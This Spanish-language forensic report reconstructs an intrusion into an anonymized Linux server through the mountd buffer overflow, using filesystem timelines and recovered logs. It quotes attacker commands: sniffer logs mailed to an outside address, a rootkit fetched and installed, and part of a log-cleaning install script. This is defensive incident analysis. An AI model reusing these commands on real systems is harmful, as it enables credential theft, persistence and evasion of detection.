Ahora vamos a examinar un informe completo de actividad del/los intrusos en el sistema. El informe fue obtenido tras analizar los ficheros log de los sniffers, intentos de acceso, timestamps en el sistema de ficheros y el contenido de las particiones de varios sistemas involucrados en el incidente. Es un informe real, sólo que está omitida la información que identifica el sistema atacado.
A continuación es un informe de análisis de la partición root del sistema XXX.XXX.XXX.XXX, la información aparece tal como fue encontrada después de poner el disco off-line, una vez descubierto el compromiso, por sospecha de tener ejecutándose un sniffer. Una copia de sistema de ficheros está disponible en formato tar.gz en el cdrom ISO 9660 CD-R.
La máquina XXX.XXX.XXX.XXX fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusos alrededor de XX-XX-XXXX, utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-98.12: http://www.cert.org/advisories/CA-98.12.mountd.html.
El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas "Coroner's Toolkit" (http://www.fish.com/security/forensics.html). En el sistema de análisis el disco aparece como dispositivo /dev/hdc. La primera partición, /dev/hdc1 fue montada en modo solo lectura bajo el punto de montura "/x". Como resultado de ello todas las rutas serán precedidas por esa cadena. La geometría del disco duro es la siguiente:
----------------------------------------------------------------------------- Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders Units = cylinders of 2016 * 512 bytes
Device Boot Start End Blocks Id System /dev/hdc1 1 793 799312+ 83 Linux /dev/hdc2 794 825 32256 82 Linux swap -----------------------------------------------------------------------------
Como la mayoría de los accesos al servidor empezaron el día XX del XXX, la fecha previa del análisis forense fue tomada como 01 XXX. No se observan huellas obvias de modificación/instalación de ficheros que indica que el sistema fue accedido entre XXX 01 y XXX 04. El día XXX 04, ha sido modificado el demonio "r" de Berkeley ("in.rlogind").
----------------------------------------------------------------------------- XXX 04 XX 23:42:21 23421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind -----------------------------------------------------------------------------
El examen del contenido del fichero a través de la utilidad strings, muestra que es un caballo de Troya que contiene los mismos strings que han sido encontrados en los ficheros del grupo "XXXXXXX"
----------------------------------------------------------------------------- . . . rlogind ahLln XXXXXXXX Can't get peer name of remote host: %m Can't get peer name of remote host setsockopt (SO_KEEPALIVE): %m setsockopt (IP_TOS): %m hname != NULL rlogind.c . . . -----------------------------------------------------------------------------
Pasados ocho días, se observa una modificación en el demonio y ejecución de chown.
----------------------------------------------------------------------------- XXX 12 XX 11:04:10 23421 ..c -rwxr-xr-x root root /x/usr/sbin/in.rlogind XXX 12 XX 11:04:11 8156 .a. -rwxr-xr-x root bin /x/bin/chown -----------------------------------------------------------------------------
Pasada media hora el fichero fuente "linsniff.c" se copia en un directorio oculto bajo /etc. El directorio se llama "/etc/.. " (punto-punto-espacio-espacio-espacio, lo que nosotros convertiremos en "/etc/..___" para ver más claramente el directorio en los listados. El programa luego se compila. Vemos que los ficheros de cabeceras que tienen que ver con las funciones de red han sido accedidos, y el binario se mueve al "/usr/sbin/telnetd".
Después de cuatro minutos se produce un acceso a través del protocolo FTP (observando el acceso al wu.ftpd y su fichero id de proceso).
----------------------------------------------------------------------------- XXX 12 XX 11:36:59 5127 m.c -rw-r--r-- root root /x/etc/..___/linsniff.c XXX 12 XX 11:37:08 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h 3143 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h 3145 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h 1910 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/ip.h 2234 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/route.h 1381 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h XXX 12 XX 11:37:10 2048 ..c drwxr-xr-x root bin /x/usr/sbin XXX 12 XX 11:37:14 2048 m.. drwxr-xr-x root bin /x/usr/sbin XXX 12 XX 11:37:15 8179 m.c -rwxr-xr-x root root /x/usr/sbin/telnetd XXX 12 XX 11:37:48 8179 .a. -rwxr-xr-x root root /x/usr/sbin/telnetd XXX 12 XX 11:41:52 77476 .a. -rwxr-xr-x root bin /x/usr/sbin/wu.ftpd XXX 12 XX 11:42:08 4096 mac -rw-r--r-- root root /x/var/pid/ftp.pids-remote -----------------------------------------------------------------------------
Esa actividad se confirma recuperando el fichero eliminado de log desde la partición root:
----------------------------------------------------------------------------- XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX . . . XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1 XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX XXX 12 11:41:59 XXXX ftpd[1327]: PASS password XXX 12 11:42:00 XXXX ftpd[1327]: SYST XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image XXX 12 11:42:06 XXXX ftpd[1327]: PORT XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd XXX 12 11:42:08 XXXX ftpd[1327]: QUIT XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again -----------------------------------------------------------------------------
Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente. También podemos conocer que el intruso tiene una cuenta en el sistema AAAAAA.XXXXXX.XXX [XXX.XXX.XXX.XX] que normalmente utiliza entre 14:33:05 y 15:00:25 EST.
Los strings del fichero "/usr/sbin/telnetd" muestran que es un sniffer. El fichero log del sniffer es "tcp.log" (por defecto):
----------------------------------------------------------------------------- . . . cant get SOCK_PACKET socket cant get flags cant set promiscuous mode ----- [CAPLEN Exceeded] ----- [Timed Out] ----- [RST] ----- [FIN] %s => %s [%d] eth0 tcp.log cant open log Exiting... . . . -----------------------------------------------------------------------------
El día 13 de XXXX, otro programa que incorpora funciones de red se compila, que hace uso de muchos más recursos que el sniffer (ya que carga más librerías). El hecho que el binario no aparece con fecha de modificación o cambio, puede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultar su presencia del equipo de administración del servidor.
----------------------------------------------------------------------------- XXX 13 XX 10:01:46 55492 .a. -rwxr-xr-x root root /x/usr/bin/gcc 6211 .a. -rw-r--r-- root root /x/usr/include/stdio.h 92696 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp 1003 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/specs XXX 13 XX 10:01:47 2767 .a. -rw-r--r-- root root /x/usr/include/_G_config.h 1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h 2040 .a. -rw-r--r-- root root /x/usr/include/confname.h 1267 .a. -rw-r--r-- root root /x/usr/include/errno.h 4186 .a. -rw-r--r-- root root /x/usr/include/features.h 4434 .a. -rw-r--r-- root root /x/usr/include/gnu/types.h 7917 .a. -rw-r--r-- root root /x/usr/include/libio.h 380 .a. -rw-r--r-- root root /x/usr/include/posix_opt.h 4419 .a. -rw-r--r-- root root /x/usr/include/signal.h 15134 .a. -rw-r--r-- root root /x/usr/include/stdlib.h 7537 .a. -rw-r--r-- root root /x/usr/include/string.h 3909 .a. -rw-r--r-- root root /x/usr/include/sys/cdefs.h 4538 .a. -rw-r--r-- root root /x/usr/include/sys/socket.h 321 .a. -rw-r--r-- root root /x/usr/include/sys/types.h 25129 .a. -rw-r--r-- root root /x/usr/include/unistd.h 8841 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/stddef.h 1029 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/types.h 6298 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/errno.h 2065 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/signal.h 2794 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/socket.h 3846 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/sockios.h 2621 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/types.h XXX 13 XX 10:01:48 3668 .a. -rw-r--r-- root root /x/usr/include/arpa/inet.h 734 .a. -rw-r--r-- root root /x/usr/include/bytesex.h 1555 .a. -rw-r--r-- root root /x/usr/include/endian.h 3248 .a. -rw-r--r-- root root /x/usr/include/limits.h 6390 .a. -rw-r--r-- root root /x/usr/include/netdb.h 2663 .a. -rw-r--r-- root root /x/usr/include/netinet/in.h 3562 .a. -rw-r--r-- root root /x/usr/include/paths.h 2643 .a. -rw-r--r-- root root /x/usr/include/posix1_lim.h 2680 .a. -rw-r--r-- root root /x/usr/include/posix2_lim.h 3777 .a. -rw-r--r-- root root /x/usr/include/sys/bitypes.h 709 .a. -rw-r--r-- root root /x/usr/include/sys/param.h 2315 .a. -rw-r--r-- root root /x/usr/include/sys/time.h 5273 .a. -rw-r--r-- root root /x/usr/include/sys/wait.h 2852 .a. -rw-r--r-- root root /x/usr/include/time.h 1156 .a. -rw-r--r-- root root /x/usr/include/waitflags.h 3724 .a. -rw-r--r-- root root /x/usr/include/waitstatus.h 1418196 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1 3049 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/limits.h 330 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/syslimits.h 2101 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/byteorder.h 266 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/param.h 3965 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/in.h 720 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/limits.h 78 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/param.h 1146 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/time.h 313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/version.h 698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/wait.h XXX 13 XX 10:01:57 117668 .a. -rwxr-xr-x root bin /x/usr/bin/as XXX 13 XX 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld XXX 13 XX 10:01:59 1088 .a. -rw-r--r-- root root /x/usr/lib/crt1.o 1216 .a. -rw-r--r-- root root /x/usr/lib/crtbegin.o 1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o 624 .a. -rw-r--r-- root root /x/usr/lib/crti.o 396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o 204146 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/libgcc.a -----------------------------------------------------------------------------
El día 14 se ejecuta un cliente de ftp "ncftp":
----------------------------------------------------------------------------- XXX 14 XX 00:42:50 146881 .a. -rwxr-xr-x root bin /x/usr/bin/ncftp -----------------------------------------------------------------------------
Los índices de acceso del sistema XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") muestran un login al sistema XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") a las XX:XXX del horario EST o +0300 horas más de PST), lo que describe las conexiones de las máquinas CCCCCCCC.XXXXXXXX.XXX, XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:
----------------------------------------------------------------------------- XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:46 - 04:08 (00:21) XXX ftp XXXXXXX.washingt Sat XXX 14 03:46 - 03:46 (00:00) XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:38 - 03:40 (00:02) XXX ftp XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39 (00:02) XXX ftp XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20 (00:00) -----------------------------------------------------------------------------
Hay solo una ocurrencia de utilización del comando "ncftp" registrada por el sniffer el día XX del SSS (línea 347 en "tcp.log"). También podemos encontrar huellas de otra conexión del XXXXX.XXXX.XXX:
----------------------------------------------------------------------------- XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23] !"'%W#$ 38400,38400vt100bdoor password w su r00t cd /etvc cd ".. " ls cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com ncftp -u ls cp tcp.log 1 ls ncftp -y XXX.XXX [A[D[D[D[D[D[D[D[Du
----- [Timed Out] -----------------------------------------------------------------------------
El log de la sesión anterior muestra que el fichero log del sniffer ha sido enviado a una dirección de correo electrónico. Después de cuatro horas, alguien emite un comando "whoami", y luego añade y elimina algunos ficheros dentro del directorio oculto.
----------------------------------------------------------------------------- XXX 14 XX 04:07:42 3797 .a. -rwxr-xr-x root bin /x/usr/bin/whoami XXX 14 XX 04:08:18 1024 m.c drwxr-xr-x root root /x/etc/..___ -----------------------------------------------------------------------------
El día 14 del XXX, se ejecuta el binario in.identd. Este servicio sirve para asociar el nombre de usuario con un intento de conexión a un servicio remoto. Esta aplicación se utiliza por algunas redes de IRC. Puede significar que alguien realizó una conexión a un servidor IRC desde la máquina comprometida.
También tuvieron lugar varias conexiones al servidor POP de correo "in.pop3d", al servicio Berkeley "r", "in.rlogind", y una conexión al servicio NFS "rpc.mountd". Una vez establecida la conexión, se ejecutó el comando "id" (este es un vestigio de un exloit ADM mountd buffer overrun).
El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd, que suele ser UID=0. El intruso, aprovechando del shell, crea un directorio "/var/tmp/XXXXX" y instala varias puertas traseras, utilidades para limpiar los ficheros log y un sniffer. Modificación de algunos ficheros log indican que a la hora de entrada se ejecutaron las utilidades de eliminación de huellas (zapper) que restablecieron el tamaño del fichero log a 0 bytes.
----------------------------------------------------------------------------- XXX 14 XX 20:25:14 13004 .a. -rwxr-xr-x root bin /x/usr/sbin/in.identd XXX 14 XX 22:24:52 15029 .a. -rwxr-xr-x root bin /x/usr/sbin/in.pop3d XXX 15 XX 02:22:24 23421 .a. -rwxr-xr-x root root /x/usr/sbin/in.rlogind XXX 15 XX 02:23:07 25217 .a. -rwxr-xr-- root bin /x/usr/sbin/rpc.mountd XXX 15 XX 02:23:08 7705 .a. -rwxr-xr-x root bin /x/usr/bin/id XXX 15 XX 02:24:22 28550 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/fix 13508 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak XXX 15 XX 02:24:23 13508 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak 1375 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/readme XXX 15 XX 02:24:39 26314 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell 27942 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer XXX 15 XX 02:24:41 26314 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell 27942 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer XXX 15 XX 02:24:43 1126 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean XX mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/imapdis XXX 15 XX 02:24:59 4665 .a. -rwxr-xr-x root bin /x/usr/bin/basename XXX 15 XX 02:25:03 0 mac -rw-r--r-- root root /x/var/log/cron XXX 15 XX 02:25:04 0 ma. crw-rw-rw- root root /x/dev/ttyp3 XXX 15 XX 02:25:06 0 .a. -rw-r--r-- root root /x/var/log/debug XXX 15 XX 02:25:08 0 .a. -rw-r--r-- root root /x/var/log/lastlog XXX 15 XX 02:25:12 2699 .a. -rw-r--r-- root root /x/var/log/syslog XXX 15 XX 02:25:15 131968 .a. -rwxr-xr-x root bin /x/usr/bin/gawk 5941 .a. -rwxr-xr-x root bin /x/usr/bin/wc 0 .a. -rw-r--r-- root root /x/var/log/xferlog 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX 1126 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean XXX 15 XX 02:25:54 2802 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.inet2 XXX 15 XX 02:26:13 12288 m.c -rw-rw-r-- root root /x/etc/psdevtab XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX 25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS XXX 15 XX 02:28:37 0 .a. crw-rw-rw- root root /x/dev/ptyp2 XXX 15 XX 02:28:38 0 m.c crw-rw-rw- root root /x/dev/ptyp2 0 mac crw-rw-rw- root root /x/dev/ttyp2 XXX 15 XX 02:29:58 0 m.c -rw-r--r-- root root /x/var/log/lastlog XXX 15 XX 02:30:06 0 m.c -rw-r--r-- root root /x/var/log/xferlog XXX 15 XX 02:31:03 66973 .a. -rwxr-xr-x root bin /x/bin/telnet XXX 15 XX 02:35:01 1024 m.c drwxr-xr-x root root /x/var/log 0 mac -rw-r--r-- root root /x/var/log/sulog XXX 15 XX 02:35:16 0 m.c -rw-r--r-- root root /x/var/log/debug XXX 15 XX 02:35:51 0 ma. crw-rw-rw- root root /x/dev/ptyp3 XXX 15 XX 02:35:52 0 ..c crw-rw-rw- root root /x/dev/ptyp3 0 ..c crw-rw-rw- root root /x/dev/ttyp3 XXX 15 XX 03:21:57 1649 m.. -rw-r--r-- root root /x/etc/passwd.OLD XXX 15 XX 03:22:24 7317 .a. -rwxr-xr-x root bin /x/bin/killall XXX 15 XX 03:22:40 58605 .a. -rwxr-xr-x root bin /x/bin/ps 25 .a. -rw-r--r-- root root /x/dev/XXXXXXXX/PS -----------------------------------------------------------------------------
La siguiente actividad aparece en la línea 471 en "tcp.log" (el fichero log del sniffer entre 14 XXX 03:46 de la línea 348 y 17 XXX 20:13, desde la fecha de última modificación del fichero):
--------------------------------------------------------------------------- IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootXXXXlinux/38400 ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootXXXX-linux/38400 ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513] rootr00tlinux/38400t ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23] !"'%P#$ 38400,38400linuxXXXXX
XXX
r00t finger cd /var/tmp ls -al rm -rf .bash* ftp XXXXXX.XXX.XXX anonymous ass get XXXX.tgz quituit tar zxvf XXXX.tgz chmod +x * ./INSTALL ls -al
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23] !"'%P#$ 38400,38400linuxr00t pico /etc/rc.d/irc.inetd2 rpc.mo.mo.mo.mountd [A11 mountd [A2 pmountd [A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y pico /etc/inetd.conf [6~[6~killall -HUP inetd cat /etc/inetd.conf ps aux kill -9 cd /dev mkdir XXXXXXXX cd XXXXXXXX pico LS XXXXXXXX XXXXXy pico PS 3 bindshell 3 linsniffery ps aux kill -9 2541 f ----- [Timed Out] ---------------------------------------------------------------------------
Eso muestra que el intruso estaba editando el fichero de configuración del rootkit referente al modus operandi de la utilidad "ls" (llamado LS) para esconder ficheros/directorios con cadenas "XXXXXX" y/o "JJJJJJJJ" en sus nombres. También ha modificado el fichero de configuración del rootkit para la utilidad "ps" (llamado PS) para esconder procesos "bindshell" y "linsniffer" en sus nombres.
La letra "y" que aparece en las cadenas "XXXXXXy" y "linsniffery" son huellas del usuario que nos informan que ha sido utilizado el editor "pico". El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X. Si el fichero ha sido modificado de alguna forma el siguiente texto aparece:
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?
El usuario entonces debe teclear la letra "y" para guardar el fichero y salir. El sniffer no captura el mensaje del sistema pero sí el "y". Las entradas log del sniffer aquí muestran que se creó el directorio XXXXXXXX, dónde fueron insertados los ficheros de configuración del rootkit y editados en siguiente orden. Podemos observarlo en el listado de mactime, posiblemente atando este evento al día 15 del XXX a las 02:26:
--------------------------------------------------------------------------- XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX 25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS ---------------------------------------------------------------------------
El día 16 del XXX alguien crea una copia de seguridad del log del sniffer ("sniffer.log.save"), moviéndolo al directorio "/var/tmp/XXXX/programs". Este fichero muestra los intentos de entrada de otros intrusos que también acceden al fichero "tcp.log":
----------------------------------------------------------------------------- XXX 16 XX 21:55:34 36088 .a. -rwxr-xr-x root bin /x/bin/netstat XXX 16 XX 21:58:27 1024 m.c drwxrwxrwx root root /x/var/tmp XXX 16 XX 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt XXX 16 XX 22:50:33 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX XXX 16 XX 22:51:02 6644 .a. -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log XXX 16 XX 22:57:16 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX/programs XXX 16 XX 23:39:51 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX/programs 4992 mac -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log.save -----------------------------------------------------------------------------
El fichero "/root/temp.txt" contiene la única palabra "blah" en la línea y una línea en blanco. Actualmente no se conoce para que sirvió el fichero. El día 17 del XXX se modifica la contraseña de algún usuario, se crea un fichero de copia de seguridad:
----------------------------------------------------------------------------- XXX 17 XX 12:44:50 153384 .a. -rws--x--x root bin /x/usr/bin/passwd XXX 17 XX 12:45:05 1649 m.c -rw-r--r-- root root /x/etc/passwd 1649 ..c -rw-r--r-- root root /x/etc/passwd.OLD -----------------------------------------------------------------------------
A continuación, el día 17 del XXX, alguien accede al servidor a través de telnet. Por lo visto se obtiene el UID del usuario lp. Modificaciones en /dev/console indican que ocurrió también una entrada de usuario en la consola física. Fechas de modificación han sido cambiadas en la aplicación de los logs del sniffer "/etc/..__/tcp.log" y también "/var/tmp/XXXXX/programs/sniffer.log", que significa que las aplicaciones han sido desactivadas.
----------------------------------------------------------------------------- XXX 17 XX 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny 40907 .a. -rwxr-xr-x root bin /x/usr/sbin/tcpd XXX 17 XX 20:13:45 40685 .a. -rwxr-xr-x root bin /x/usr/sbin/in.telnetd 25 m.c -rw-rw-r-- root root /x/var/spool/lp1/status XXX 17 XX 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console 0 .a. crw-rw-rw- root root /x/dev/ptyp0 0 m.. crw-rw-rw- root root /x/dev/ttyp0 18476 m.c -rw-r--r-- root root /x/etc/..___/tcp.log 6644 m.c -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log XXX 17 XX 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console 0 ..c crw-rw-rw- root root /x/dev/ptyp0 0 ..c crw-rw-rw- root root /x/dev/ttyp0 -----------------------------------------------------------------------------
El día 18 de XXX, se ejecuta la aplicación sendmail. Las huellas en el sistema de ficheros nos muestran que, posiblemente se envió a una dirección de correo electrónico el fichero log del sniffer "tcp.log":
----------------------------------------------------------------------------- XXX 18 XX 05:30:26 164060 .a. -r-sr-Sr-x root bin /x/usr/sbin/sendmail -----------------------------------------------------------------------------
Aparte de analizar el sistema de ficheros con detenimiento, se han recuperado todos los ficheros eliminados utilizando la utilidad "unrm" de TCT. Una examen de los ficheros recuperados mostró eliminación de algunos ficheros log y scripts. El siguiente es una parte del script de instalación/limpieza que está incluido con el rootkit.
----------------------------------------------------------------------------- cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis rm -rf /var/tmp/imap-d echo "6. cleaning logs" cd /var/tmp/XXXXX cp /var/tmp/clean /var/tmp/XXXXX/programs/clean rm -rf /var/tmp/clean /var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null /var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null /var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null echo "rootkit complete" echo "rember to disable imapd" echo "EOF" -----------------------------------------------------------------------------
El siguiente es una parte del fichero log que muestra intentos de conexión de intrusos:
----------------------------------------------------------------------------- XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX XXX 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX . . . XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX . . . XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX XXX 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1 . . . XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX . . . XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1 XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1 . . . XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX . . . XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1 XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX XXX 12 11:41:59 XXXX ftpd[1327]: PASS password XXX 12 11:42:00 XXXX ftpd[1327]: SYST XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image XXX 12 11:42:06 XXXX ftpd[1327]: PORT XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd XXX 12 11:42:08 XXXX ftpd[1327]: QUIT XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again . . . XXX 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX . . . XXX 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX . . . XXX 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX XXX 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX XXX 12 23:48:55 XXXX su: XXXXX on /dev/console XXX 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX XXX 13 00:12:54 XXXX su: XXXXX on /dev/console . . . XXX 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX XXX 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX XXX 13 07:08:14 XXXX su: XXXXX on /dev/console . . . XXX 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX XXX 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX XXX 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX . . . XXX 13 09:58:42 XXXX su: XXXXX on /dev/console -----------------------------------------------------------------------------
El siguiente ejemplo es un extracto de script "zapper" que elimina las huellas dejadas por el intruso, o restablece el tamaño de los ficheros log a 0 bytes. No se sabe si existe una copia de este script en el sistema de ficheros activo.
